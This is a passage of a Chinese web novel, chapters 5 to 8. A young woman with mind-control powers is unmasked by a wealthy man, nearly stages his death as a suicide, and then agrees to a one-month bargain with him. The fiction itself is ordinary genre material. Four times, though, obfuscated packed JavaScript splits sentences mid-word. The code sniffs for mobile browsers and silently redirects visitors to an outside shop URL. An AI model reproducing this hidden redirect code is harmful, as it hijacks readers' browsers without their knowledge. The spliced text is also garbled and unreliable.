;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14528850|155166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,并没发现哪里不对劲,不敢多想,又赶紧转身去追庾林。 可刚准备抓住庾林,她就看见庾林抓起了床上的被子,一个转身,手臂伸展,一床被子便将她整个人罩住。 就在周拾秋挣扎着想要甩开被子时,庾林的两只手已经隔着被子将她圈住。 庾林就如同一条带子,将被子死死系在了周拾秋的身上。 周拾秋艰难地找到了一个出口,探出头,顾不上凌乱不堪的头发,大口呼吸着氧气。 这时二人的状态稍微有些尴尬,周拾秋被包裹在被子里,只有一颗头露在被子外,而庾林正紧贴着她,双手环住周拾秋,束缚住被子的同时,也束缚住了周拾秋的双手。 周拾秋似乎落入了庾林的怀里。 周拾秋甩了甩脑袋,甩开遮挡住眼睛的发丝,然后眨着眼,抬头望着近在咫尺的庾林。 二人的距离实在太近了些,周拾秋温润的鼻息正好喷在庾林敞开的衣襟口。 庾林只觉耳根微烫,及时调整姿势,单手拽紧被子,压制住试图挣扎的周拾秋,另一只手悄悄上移,抓住被子边往上提了提,确保正好能挡住周拾秋下半张脸。 随后又谨慎地用两只手环住周拾秋。 周拾秋挣扎无果,双手在被子里根本动不了,只能眼睁睁看着庾林这一系列令人懵圈的操作,感觉一头雾水。 “庾木木,你干嘛?”周拾秋忍不住问道。 “没什么,我不喜欢别人碰我。”庾林故作镇定回答。 周拾秋心中一顿暗笑,她看不懂庾林的操作,其实她要对庾林做的事,根本不需要碰触庾林,她只是想让庾林直视自己的眼睛罢了。 而此刻庾林的操作正中下怀,周拾秋仰着头,直视着庾林的眼睛,嘴角噙着笑,说:“那你可抱好了,千万别松手。” 话音刚落,周拾秋的瞳中再次激起金色的波纹,那波纹随着她的想法冲向了庾林,她低声命令:“昨晚的事,你就当没有发生过,撤销你的差评。” 最终还是得依靠异能来解决这个麻烦。 周拾秋本想老老实实通过交涉解除矛盾,奈何眼前这个理想者实在油盐不进,迫不得已,她只能使用杀手锏。 “好了,现在你可以放手了。”周拾秋又命令道。 每个人的意志强弱不同,周拾秋捕捉他们意识所需耗费的精力也不同,有些人即便没有眼神交流,也能轻易被周拾秋控制,有些人则需要通过对视。 但不管这个人的意志如何强大,周拾秋真想控制他们,也不过是一瞬间的事。 周拾秋不得不承认,庾林的意志足够强大,以至于她在门外竟然没有捕捉到庾林的意识。 这让她不得不抓住庾林,强制与他对视。 而现在,庾林逃不掉了。 心中一阵窃喜,周拾秋正考虑着回家后该跟齐绮如何庆祝最后的胜利,却发现庾林还死死环住她没撒手。 “嗯?”周拾秋一脸诧异地再次仰起头。 这次她对上了庾林的笑脸。 庾林硬朗中带着清冷感的五官,此刻染上了一层薄薄的笑意,低头直视着周拾秋的眼睛,略带玩味的口气,轻巧地吐出几个字:“原来你是进化者啊,乌鸦小姐。” 周拾秋浑身肌肉紧缩,表情僵硬地望着庾林。 完蛋,被看穿了…… 5. 第005章 “你、你胡说什么呢?我怎么可能是进化者!” 周拾秋第一反应是打死不认,脸上露出三分讥笑,努力让表情看上去自然些。 庾林眯着眼,以审视的目光打量着周拾秋,嘴角微扬,似笑非笑地问:“不承认?外面的人你要怎么解释?” 周拾秋转动脖子,无辜又困惑地继续装傻道:“外面怎么了?” 一抹阴冷的笑从庾林嘴角划过,他看穿了怀中女人的心思,微微俯身,一只手下移,将周拾秋连着被子整个抱了起来。 然后几步移到门边,将周拾秋放下,并抓住周拾秋的肩膀,将人转了个向。 从这里,可以清楚地观察到客厅内的情况。 沙发旁,康管家和023依然呆立不动,目光呆滞地望着前方,对周遭的动静毫无反应。 “他们总不能是睡着了吧?” 身后传来庾林略带嘲讽的声音。 “是啊……他们怎么了呢?” 周拾秋想继续糊弄,可眼下似乎不好解释,她现在更不可能解除对二人意识的控制,否则,知道她进化者身份的就不止庾林一人了。 庾林没有在意周拾秋的装傻,继续自说自话:“所以,你是控制系进化者?” 周拾秋对抗着庾林施加在她肩上的力道,侧转过身,抬头惊讶地反问:“如果我是控制系进化者,你怎么会没被控制呢?” 这似乎是很好的反驳点。 庾林微微一怔,不过片刻,回过神来,冷冷道:“这是你该反思的问题,不是我该考虑的问题,进化者小姐。” 周拾秋唯一的杀手锏失灵了。 并且对方已经看出了她进化者的身份。 这两个噩耗如同晴天霹雳,将周拾秋劈得外焦里嫩,整个人呆呆地盯着庾林,一时不知该做何反应。 “完了,他会告发我……” “我会被进化研究所抓去改造。” “家里的债也没法还了。” “爸妈要怎么办?” “小夏要怎么办?” “绮绮要怎么办?” “他们也会被判刑吧?” 无数的念头在脑袋里打转,她越是思考,越是糟糕的结局便会呈现在她眼前。 庾林从她的眼中看出了无尽的恐惧,微微皱了皱眉,低声说道:“我没打算告发你。” 周拾秋仿佛看到了一丝曙光,僵硬的身子总算放松了一些,小心翼翼地问道:“真的吗?” 庾林却泼了一盆冷水,瞬间将她心中那小簇火苗浇灭了。 他说:“只要你赶紧离开,别再烦我。” 离开,家里的债务很难还清;留下,庾林会向进化研究所举报。 眼前的男人似乎将她的路彻底封死了。 异能失效,身份曝光。 周拾秋一时不知道何去何从,大脑里疯狂思考着该如何改变现状。 既然异能对付不了委托人,要解决当下的难题,似乎只能从债权人或瑞波恩科技下手。 可是,不管是债权人,还是瑞波恩科技,究竟需要控制哪些人的意识才能彻底消除危机呢? 内心的焦虑让周拾秋下意识地想要咬手指甲,可惜双手被束缚住,她只能一口咬住被子。 “喂,松口。” 庾林被她的举动吓了一跳,眉头紧蹙,观察着周拾秋的眼睛。 周拾秋并未理会庾林,她此刻心中生出一个大胆的想法。 对付债权人或瑞波恩科技,需要控制的人太多了,难以做到天衣无缝。 可对付庾林,她需要控制两人就行了。 如果她现在杀掉庾林,再关上门离开,一是修改023的意识,让他认定庾林已经同意撤销差评;二是修改康管家的意识,让他认定庾林后半夜自杀了。 事情似乎就可以完美解决了。 这种想法在周拾秋脑海中打转,她反复演算着可行性,竟有些兴奋起来。 庾林看着她的眼睛,感觉整个人被震慑住,背脊传来阵阵凉意,抓着周拾秋肩膀的手不自觉加重力道。 “嗷!” 周拾秋被他抓得叫出了声,一时思绪被打乱。 “你……冷静点……”庾林的眼中明显闪过一丝恐惧。 些微异常的反应被周拾秋捕捉到,从刚才起,她就一直感觉有些怪异,可心中烦恼的事太多,她一时未来得及细想。 方才肩膀传来的轻微疼痛感,让她冷静下来,混乱的大脑也逐渐变得清晰。 眼瞳中金色波纹流转的瞬间,周拾秋身上的被子仿佛有了生命,边缘扭动着翻转飘浮起来,仿佛一条条蠕动的鬼手,向庾林的身上抓去。 被庾林手压着的被子也变得不安分,一股强大的力量反抓住庾林的手。 周拾秋身上的被子逐渐向庾林身上转移,在庾林震惊的眼神中,在他来不及逃跑的瞬间,像一条巨蟒,扭曲着身子将庾林捆绑。 不过眨眼的功夫,屋子里的情势彻底颠倒。 原本被束缚的周拾秋扭动着脖子,伸展着手脚。 原本以力量优势压制住周拾秋的庾林,彻底沦为阶下囚。 被绑得跟条蛇一样的庾林,只剩下脑袋露在被子外,手脚因束缚无法动弹。 明明周拾秋只是安静地站在那里,可被子像是有了生命和意识,以一种庾林根本无法抵抗的力量,将他压制得死死的。 周拾秋只是挥了挥手指,被子便带着他往床边挪动,最后猛然跌倒在床上。 “唔,该怎么让你看上去像是自杀呢?” 周拾秋一边思索着,一边踱步到床边,俯下身子,歪着脑袋,一脸天真地望着庾林。 乌黑的长发垂落在庾林眼前,那个方才神色慌张的小姑娘正淡定地直视着他的眼睛,脸上带着似有似无的笑意,纯净的眼神中满是杀意。 “你好像总能猜到我在想什么,你猜猜我现在想干什么呢?如果猜对了,我或许能让你走得安详些哦。”周拾秋甜美一笑。 这种不用费脑的选择竟让她心情无比痛快。 一直以来她都考虑着普通人该如何解决遇上的难题,竭力不做出偏离常规的选项。 她真的努力过了,可情况似乎越来越糟。 这么简单的方式,她为什么没有更早想到呢? 既然问题不好解决,那解决造成这个问题的人不就好了吗? 看着周拾秋眼中毫不掩饰的笑意,庾林感觉浑身战栗,他知道周拾秋没在开玩笑,他似乎真的招惹上一个怪物。 他不知道为什么周拾秋的异能对他无效,但他知道周拾秋的异能可以轻松了结他的性命。 “两百万我可以给你,也不会向进研所举报,还可以撤销差评……”庾林抛出了所有筹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14528851|155166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 码,像谈生意一般对周拾秋说道。 他的话却让周拾秋更兴奋了。 周拾秋带着一脸胜利的笑,坐到了庾林身旁,反手拍了拍庾林的脸颊,嘴上嘲讽道:“现在,好像有点晚了。” 眼前的男人知道了她的身份,并对她的异能免疫,她怎么能放过他呢? 恐怕她转身出门,男人便会食言,说不定她人还没走出自由区,就被进化研究所的人包围了。 她并不信任庾林。 然而,从庾林的眼中,她并没有看到应有的恐惧,一种难以言喻的惊讶覆盖了一切情绪。 这让周拾秋动作瞬间停顿,皱着眉头思忖着自己哪里没有说对。 庾林就像是被什么难以理解的现象惊得说不出话来,眼睛直勾勾地盯着周拾秋的手。 这让周拾秋莫名感觉一阵心慌。 为什么有人知道自己会死却一点都不惧怕呢? 难道还会有反转的余地? 她忍不住思考,目光不自觉地往四周瞥去,可房间里没有任何值得注意的地方。 就在周拾秋疑惑时,庾林缓缓开了口。 “怎么可能……你……你不是女生?” “哈?” 周拾秋被突如其来的一句话惊掉了下巴。 她以为庾林还有什么能够改变局势的筹码,可他只说出了一句莫名其妙的话,并且这句话多少有点侮辱人。 周拾秋低头看了自己一眼,并不觉得自己的性别难以分辨,那么只能是庾林找茬。 越想越生气,她伸手捏住了庾林的脸颊,眼神阴冷:“你是真的该死。” 话音刚落,被子自动爬上庾林的脸,将他的嘴封住,然后羁押着庾林从床上站了起来。 周拾秋心中已经有了主意,缓步走到浴室门前,未动手,房门自动开启,灯光照亮了整个浴室。 宽阔的空间里,一个巨大的圆形浴池嵌入靠窗的平台上,在这里泡澡,可以通过一旁整扇落地窗俯瞰整个城市。 周拾秋随意扫了一眼,浴缸自觉开始蓄水,而被子则押着庾林走进浴室,最终走上平台,停在了浴池旁。 一把水果刀悄无声息从房间外飘了进来,晃晃悠悠飘到了庾林眼前。 “割腕自杀,还行吧?”周拾秋开怀一笑。 眼看着水果刀一寸寸下移到手边,而被子也很配合地挪动位置将庾林的手腕露了出来,庾林嘴里只能发出呜呜声,眼神终于从惊讶转为惊恐。 “这才对嘛,怎么会有人不怕死呢?” 周拾秋看着庾林眼底的恐慌,露出满意的笑,手指轻轻拂过庾林的脸庞,带着一丝怜悯说道,“这张脸,就这么死了真可惜。” 方才屋子里太暗,周拾秋并未看清庾林的相貌,这会儿移动到灯光之下,终于看清了这张脸。 她不得不承认,眼前男人无论是身材还有长相,都很可口,可惜,性格实在招人讨厌。 一边这么想着,周拾秋的手指一边从庾林的脸上下移到庾林的胸口,只是轻轻推了一把,被子便带着庾林栽进了浴池中,水花四溅。 浴池中的水还未蓄满,庾林躺在其中尚能呼吸,可那把水果刀步步紧逼。 周拾秋正站在浴池边上,微笑着冲他挥着手说:“再见!” 就在水果刀准备冲向庾林的瞬间,浴室门口传来一声尖锐的叫声。 6. 第006章 伴随着这声尖叫,水果刀霎时间丧失了行动力,扑通一声掉入水里,平静地沉入池底。 裹在庾林身上的被子卸了力,庾林挣扎着摆脱了束缚,艰难坐起身,趴在浴池边,重重喘着气,浑身湿透,很好地掩饰了一身冷汗。 “嗷,疼疼疼……” 浴室中响起周拾秋吃痛的叫声。 此刻一只手正揪着周拾秋的耳朵,周拾秋闭着一只眼,脸上表情既难为情又委屈。 “我说怎么等这么久还不出来,天啊,我不进来看看,你是打算杀人?” 齐绮面色煞白,手上的力道丝毫不减,她觉得不给周拾秋一点教训,她一定意识不到事情的严重性。 “本来没有这么想……”周拾秋捂着耳朵,嘟着嘴,试图掰开齐绮的手。 “还没想,我晚来一步,这里就是凶案现场了!”齐绮气得浑身发抖,声音陡然提高,忽又害怕被人听见,急忙控制住自己。 周拾秋瞪着一眼狼狈趴在浴池边的男人,心中还有不甘。 “可他知道我是进化者了……” 对此,齐绮感觉十分难办,神情纠结地转头看向庾林,以一种商量的口气对庾林说:“她、她只是做事冲动了些,并没有你想象中那么坏,希望你能当做什么事都没有发生过,我保证不会让她伤害你。” “不行!”周拾秋强烈制止。 可惜话音未落,周拾秋的脑门就挨了齐绮一巴掌。 周拾秋疼得嗷嗷直叫,捂着额头蹲在地上。 齐绮则紧张地盯着庾林,此刻庾林的选择将决定最终的结局。 “希望你能谨慎思考,我肯定不能让我朋友被抓走。”齐绮补充道。 庾林听出齐绮话里话外的意思,此刻决定权看似交到了他手里,可实际上除了妥协,并没有其他选项。 如果他选择追究到底,周拾秋绝不会放他走出浴室。 湿漉漉的头发黏在脸上,冰凉的水顺着脸颊往下滴,庾林无奈地抹了一把脸,将头发往脑后捋了捋,冷冷开口道: “我一开始就说过了,不会举报。” “我不信……” 周拾秋强势站起身,刚说了三个字,立马被齐绮堵住了嘴。 “你在干嘛?”齐绮低声劝诫着,“你知不知道自己在干嘛?那可是杀人啊!你难道真想让人认定进化者就是犯罪者吗?这么久的努力就这么白费了?” 周拾秋没有反驳,只是一脸焦虑地咬着手指甲,一时有些不知所措,小声告诉齐绮:“我的异能对他无效,我无法消除他的记忆,已经发生的事,你觉得他能放过我吗?” 齐绮没想到事态发展如此糟糕。 她不可能任由周拾秋杀人,也不能眼睁睁看着周拾秋落网。 眼看事情发展到进退两难的境地,如果找不到两全其美的办法,今天庾林恐怕很难活着走出浴室。 偌大的浴室中,气氛冷得吓人,只有不绝于耳的水流声和相互的眼神试探,让剑拔弩张的局面充斥着不安。 险些丧生的心有余悸渐渐平缓,取而代之,疑惑与好奇开始占了上风,庾林心中便有了决断,他冷静地开口道:“我们可以做一笔交易。” 只是简单一句话,却让整个事态朝着诡异的方向发展。 周拾秋一时不知道心里是何滋味。 事情发展到现在这种地步,真的还有收手的余地吗? 周拾秋并不想接受庾林的建议,保持着对庾林的敌视,而齐绮似乎看到了能平息这场冲突的可能性。 “什么交易?”齐绮开口问。 庾林抬起还在滴水的手,指了指周拾秋,跟齐绮商议:“接下来一个月,让她保持与我接触,确保我的安全,我支付两百万作为酬金,并保证不向任何人透露她的身份。” “我干嘛要与你接触?”周拾秋有些看不懂庾林心里打着什么算盘。 “一个月后,与进化者有过多接触的人对你不再有威胁,我可以保住性命,你可以还清债务,双赢结果,你没有理由拒绝。” 庾林说话依旧强硬,似乎没有商量的余地。 周拾秋刚想回嘴,就被齐绮捂住了嘴。 与进化者接触过多的人,不管知不知情,都会遭到进化研究所的调查,并且进化研究所能精准对是否知情做出判定,至今还没人能侥幸逃脱包庇的制裁。 因此,一个月后,庾林将无法再举报周拾秋,否则他会因包庇获罪。 “你应该不会出尔反尔吧?”齐绮一边控制着周拾秋,一边向庾林确认。 庾林直言不讳:“我还不想死,如果我真的出尔反尔,以你朋友的脾气,大概会跟我同归于尽。” 齐绮赞同地点点头:“你明白就好,如果谁对她造成威胁,我未必每次都会阻拦。” 最终,庾林与齐绮就此达成协议,以一个月为期限,庾林提供资金支持,而周拾秋需要保证庾林的生命安全,并与庾林保持接触。 “那,我要跟你住到一起吗?”周拾秋提问。 庾林脸上露出三分讥笑,不留情面地回道:“你保持随叫随到就行,我可不敢把危险品一直放在身边。” 如果不是齐绮拉着周拾秋,周拾秋一定把庾林摁到浴池中淹死。 “还有问题吗?没问题你们可以离开了。”庾林催促道。 浑身湿透的他此刻感觉到阵阵寒意。 周拾秋总觉得其中隐藏着什么阴谋,可一时又找不出拒绝的理由,心怀疑惑,在齐绮的拉拽下,终是沉默着离开了庾林的卧房。 齐绮开门走出60A套房,并叮嘱周拾秋解除施加在客厅里两人身上的意识控制。 周拾秋不情不愿地点了点头,正准备动手之际,脑中忽然浮现一个念头,趁齐绮没注意,转身又冲回浴室。 她需要确认一件事,一件可以解开她心中所有疑问的事。 眼瞅着麻烦的家伙终于离开,庾林正准备从浴池中爬出来,收拾一身的狼狈,不料那个麻烦的家伙又折返,惊得他连忙缩回了浴池中。 周拾秋大步流星走到浴池旁,一把拽住了庾林半敞开的衣襟,稍一用力,就将还未站稳的庾林拽到了面前。 她鼻子凑近到庾林脖颈边,仔细嗅了一番,刚理顺的一点思路似乎又断了线。 庾林身上并没有异能气息。 他不是进化者。 怎么会呢? 从进入卧房起,她就总觉得庾林说的话不对劲,他仿佛能看穿她的想法。 就在离开前一刻,她突然想到一种可能性——如果庾林也是进化者,那一切都说得通了。 因为他是进化者,所以才选择不告发。 因为他是进化者,所以才知道与她谈判的筹码。 可最终她似乎想错了。 周拾秋愣在原地,思路被彻底打乱。 庾林被周拾秋突然的举动惊得瞳孔微颤,大脑宕机了好一会儿,才明白周拾秋的意图。 稳住慌乱的心跳,庾林逐渐恢复平静,抬起挂着水珠的手,张开虎口,掐住了周拾秋的脸颊,将人推至安全距离。 看着周拾秋一脸的诧异神情,庾林忍不住讥笑道:“怎么?你们进化者都有小狗的习性?” 周拾秋有些气恼地挣脱庾林的手掌,往后退了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14528852|155166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 步。 恰在这时,后知后觉的齐绮急冲冲赶了回来,看见庾林还活着,她摸着胸口松了一口气。 未等齐绮开口,周拾秋先质问起庾林:“你怎么知道我有债务危机,急需用钱?” 庾林微微一怔,总算明白周拾秋为何去而复返,随即耸了耸肩,轻松应答:“小洲推荐你时说的,怎么了?这不是你找人签私危协议的原因吗?” 周拾秋感觉被噎了一下,不由得怀疑真是自己想多了。 的确是何洲听说了她因为债务问题,需要更赚钱的任务,才会将舅舅介绍给她。 刚感觉一丝抱歉,周拾秋又忽然意识到另一个问题,口风顿转:“不对啊,你怎么知道我需要两百万?这也是何洲告诉你的?” 她清楚记得,从没有跟何洲提过欠债的具体金额。 那庾林如何能精确提出两百万? 庾林闻言不甚在意,带着讥讽的笑看向周拾秋,冷冷回道:“两百万,不过是我随口说的一个数字。如果少了,你应该会跟我讨价还价,如果多了,你稳赚不亏。真没想到,你就需要两百万。” 这话多少有些看不起人。 周拾秋知道,这世上本就不公平,有的人天生就站在山巅,他们俯瞰山下,嘲笑着那些拼命想要爬上山的人,或许他们根本无法理解,为什么别人会活得那么累。 这是一条无法跨越的鸿沟。 而这一刻,周拾秋第一次有了深刻的体会。 眼前这个男人看似狼狈却依然居高临下,周拾秋心中充斥着不甘与沮丧,强忍着厌恶感,愤然走出了浴室。 愤怒,并不是对庾林,而是对她自己,对那些她无法改变的事实。 也许是注定居于人下看人脸色的事实,也许是注定无法改变身份活得小心翼翼的事实。 出门时,周拾秋打了个响指,失去意识的两人彻底清醒。 他们甚至没有发现中间发生过什么事,回过神便继续失去意识前的行动。 康管家一脸和气地送客,而023则谨慎地道别,带着周拾秋和齐绮离开了60A套房。 走出电梯的三位访客心情各异。 023和气地劝齐绮看开些,并表示自己回公司会同上级商讨,尽量将封禁时间压短一些,危代的核心说到底还是服务于客户。 齐绮不甚在意,既然已经与庾林达成协议,就算危代人账号被封禁,也影响不到周拾秋赚钱还债,那封号对她来说不是什么值得关注的问题。 周拾秋觉得来自由区走一回,简直刷新了她对生物多样性的认知。 她觉得庾林的提议一定隐藏着什么阴谋。 比如,知道她的异能后,想借她之手干什么坏事。 又或者,他想借机报复她的无礼。 不管是哪一种,至少有一点周拾秋可以肯定,接下来与庾林的接触绝不会是好事。 路过酒店大堂时,周拾秋瞥见了一个眼熟的身影。 她记得那人不久前坐在60A套房的客厅里,对着手机苦苦哀求,最后却被无情地赶出了房间。 忽然一个想法从脑海中闪过,于是她停下离开的步伐,转而向年轻男子走去。 齐绮和023直到走出酒店才发现周拾秋没有跟上,正要回头寻找,却看见周拾秋急急忙忙跑出酒店大门。 齐绮问她跑哪儿去了,她抱歉地表示去了趟厕所。 023驱车送二人返回禁仿区,一路上周拾秋心情大好,齐绮好奇追问,她只说想到自己很快就可以还完债了,所以心情不错。 然而齐绮并不知道,周拾秋临走前送了庾林一份大礼。 7. 第007章 从自由区回到禁仿区花店,已经接近下午1点。 周拾秋和齐绮在附近随便找了一家餐馆,简单吃了顿饭。 吃饭时,周拾秋打开了话匣子,向齐绮抱怨着理想者的傲慢与冷血,并对往后一个月自己将面对怎样一个混蛋和什么样的烦心事而表示担忧,顺便再撒娇一般埋怨齐绮就这么轻易答应了理想者的交易。 齐绮全程安静地听着周拾秋的喋喋不休。 她俩的性格完全相反。 周拾秋情绪波动大,时常一惊一乍,还有些蛮横不讲理,像个没长大的孩子,想一出是一出,做事全凭心情。 齐绮情绪稳定,相比之下更成熟稳重,在周拾秋离家后,仿佛担任起了母亲的职责,成为了周拾秋的控制阀门。 “我才不担心那个理想者能对你做什么,我只担心你会对那个理想者做什么。”齐绮边听边吃,嘴上不忘揶揄道。 周拾秋小嘴一瘪,不乐意地说:“你这是偏见!” 齐绮看了看四周,压低声音说:“大姐,今天要不是我出现得及时,我们现在说不定已经被通缉了,我真是傻,居然会相信你能用嘴劝说。” “没这么夸张吧……我也认真考虑过后果……”周拾秋还想辩解。 齐绮的食指敲了敲桌子,制止她再继续说下去,眼神异常锐利,口气也带上几分严厉:“你不可以有这样的想法,如果你想普普通通生活下去。” 周拾秋惭愧地低下了头,她知道今天的做法有些出格,完全背离了初衷,那是进化者基因的影响,而她险些屈服于这种不寻常基因的影响。 她将米饭塞进嘴里,堵住那些可能让自己看上去像异类的想法,避免它们脱口而出,让面前的朋友对她更加失望。 “只要那姓庾的理想者不出尔反尔,还债的事应该不必担心。”齐绮看她不做声,便耐心说道,“至于危代人账号,无所谓,反正我平时也不用,索性趁此机会,直接注销得了。” 周拾秋咽下米饭,顺从地附和道:“嗯,我也没打算一直做危代人。” 她这话倒不完全是迎合齐绮,本来做危代人就只是为了偿还家中债务,再者,危代人做的事,说到底,几乎全是糟心事。 有钱人不想面对的负面情绪,不想应付的麻烦事,全都花钱找危代人代为消化。 就算是为了钱,也很少有人能长期坚持下去。 毕竟,当危代人作为里人格经历这些事时,那些经历和情绪是实实在在留在了危代人的记忆深处,时间一久,很容易因为难以消化而产生心理疾病。 周拾秋虽说尽量选择危机处理,而非负面情绪消化,可依然潜移默化中影响着她的心绪。 她甚至觉得自己之所以今天会产生那些可怕的想法,也许部分原因就在于最近五个月高强度的危代任务。 见周拾秋略微焦虑的模样,齐绮的手心轻轻覆在周拾秋的手背上,语调也不由得柔软了几分。 “别太依赖那种能力,任何困难我们都可以一起解决。” 周拾秋微笑着点点头,欣慰身边还有朋友相伴。 可一眨眼,她又想起一个多小时前,她刚用异能给庾林添了些堵,脸上的笑免不了带上了点心虚的成分。 她不敢向齐绮坦白,于是赶紧岔开话题道:“啊,想来今天没别的事,晚上叫上郑常新,我们一起出去吃顿好的。” “哦,原来你还记得自己有个男朋友。”齐绮忍不住调侃。 周拾秋充耳不闻,当即拨通了郑常新的电话。 这一次没等太久电话便接通了,手机里传来男友阴阳怪气的指责:“又想干嘛,上次羞辱得还不够?分手是你自己提的,我说过,你可别后悔,怎么?现在想反悔了?哼,晚了,周拾秋,我告诉你,你别太把自己当回事!” 周拾秋莫名其妙被数落一顿,茫然地让手机远离耳朵,仔细确认屏幕上的名字。 的确是郑常新,她并没有打错。 “说话啊!打电话来又不说话是什么意思?” 电话那头的声音很暴躁,没开免提都能听到爆炸的音量。 周拾秋简直不敢将手机贴回耳边,只好疑惑又嫌弃地盯着手机屏幕看。 齐绮见状不对,关心地从周拾秋手里接过手机,询问对面究竟怎么回事。 看着齐绮一会儿震惊一会儿解释,最后似乎终于让对面冷静了下来,然后将手机交还给周拾秋。 郑常新告诉周拾秋,他现在还在外地参加研讨会,预计下周回陵沪市,到时候再约见面。 说完,郑常新就直接挂断了电话。 周拾秋放下手机,茫然地对齐绮说:“他说我跟他分手了是怎么回事?” 齐绮说:“发动异能会不会产生记忆混乱的后遗症?” 周拾秋摇了摇头:“没听说过异能还有后遗症啊……” 根据齐绮从电话里听到的故事版本可知,前天晚上周拾秋有一瞬间失去了意识,再睁开眼时,仿佛变了一个人,二话不说就揍了郑常新一拳。 当时醒来的周拾秋对着郑常新就是一顿羞辱,不仅揍了他一顿,还赶他离开,并警告他不许再出现。 听到这个故事,齐绮和周拾秋都傻眼了。 周拾秋否认:“我哪儿是这种野蛮人?” 齐绮翻着白眼:“拜托,大姐,这是重点吗?而且,我觉得挺符合你性格。” 周拾秋怒瞪她一眼,噘嘴道:“就算我做得出来,可那个时候我应该在帮庾木木开房啊,怎么可能莫名其妙跟郑常新提分手?” 齐绮思索道:“如果不是异能后遗症,那会不会是意识传送的副作用,让你短时间内产生意识错乱,反正我暂时用这理由说服郑常新,让他相信你不是真的想一脚踹了他,等他回来你再慢慢跟他解释吧。” “这一天都什么事啊……”周拾秋挠乱了头发。 “你确定不是不小心把心里话说出来了吗?”齐绮带着意味深长地笑,调侃着问道。 周拾秋作势要打人,齐绮赶紧躲避。 “分手对我有什么好处?”周拾秋哀怨地叹道,思索一番,又带着些怀疑,低声说道,“你说会不会是郑常新想跟我分手,故意趁我意识转移的间隙,编出这种鬼话?” “不好说,如果是他编的,那他演技真好。”齐绮理智地评价道。 周拾秋打算找机会到危网上问问,看看有没有人遇到过类似的情况,如果当真是危机管理局的锅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她时常会怀念曾经诅咒加身的时光,至少那时她能清楚地知道自己的心意,也能看清别人对她的想法,而不像现在,什么都只能靠猜。 下午花店如常营业,周拾秋和齐绮一直忙到了晚上。 晚上睡觉前,周拾秋习惯性打开危机管理局系统,登录危网,想看看最近有什么新乐子,然后便发现收到了来自木木的私信。 【木木:明早10点来我家,晚到一分钟,进研所会收到匿名举报信。】 这段文字没有丝毫商量的余地,几乎是命令语气,从文字上,周拾秋仿佛能看到庾林那张不近人情的高冷脸,以一种居高临下的姿态俯视着她。 她自认大度,能饶恕小心眼的理想者与生俱来的无礼。 可这赤裸裸的威胁,让周拾秋浑身难受。 她没有按照约定时间去找庾林,而是看到消息后,立马带着一身愤怒出了门,在夜色中一路疾驰,再次来到了位于自由区的天宫酒店。 一路上,周拾秋满脑子想的都是把庾林的脑袋摁进水池里,好好清洗一下他的脑子。 8. 第008章 周拾秋跟白天来时一样,先向酒店前台说明了拜访对象。 前台打了个电话,不多时,一个工作人员便带着周拾秋进了电梯。 电梯玻璃外,自由区灯火璀璨的夜景尽收眼底,绚丽的灯光给整个城市加上一层光怪陆离的滤镜,整个自由区仿佛进入了与白天全然不同的热闹气氛中。 与平时生活的地方极具差异,这个地方带给周拾秋的震撼,就像她第一次发现仿生人眼瞳中的异样那般,满是新奇。 可生活在这样一个世界的人,又跟这个城区整体带给周拾秋的感觉一般,高高在上的冰冷。 从繁华的城市移开视线,周拾秋走出了电梯,电梯门闭合,工作人员独自离开,而周拾秋毅然走向了那间住着恶人的房间。 按响门铃后,前来应门的依然是康管家,带着他一成不变的微笑。 与上午来时不同,这次庾林没有藏在卧房里,而是神情恹恹地坐在客厅里,脸上带着点不耐烦的情绪,就像是刚睡着突然被人吵醒。 庾林身上穿着一件宽松的毛衣,衣服的暖色调稍微中和了一点他五官带来的清冷感。 他看见周拾秋进门,并没有表现出害怕,反而嘲讽道:“你们守旧者对于守时的理解这么与众不同吗?” 周拾秋拿起手机看了一眼时间,0点37分,这个时候登门,确实有些冒昧。 她出门时,齐绮房间的灯熄了,想来已经睡下,而她成功在大半夜吵醒了一个讨厌鬼,这让她觉得这份冒昧不算坏事。 “我干嘛要遵守恐吓者定下的时间?” 周拾秋坦然迈步向前,气势汹汹地朝庾林走去。 可还未靠近沙发,康管家突然从身后快步逼近,一个侧身挡在了周拾秋面前,双臂展开,阻止着周拾秋继续向前。 对于康管家的举动,周拾秋只觉莫名其妙,料想定是庾林下达的指令。 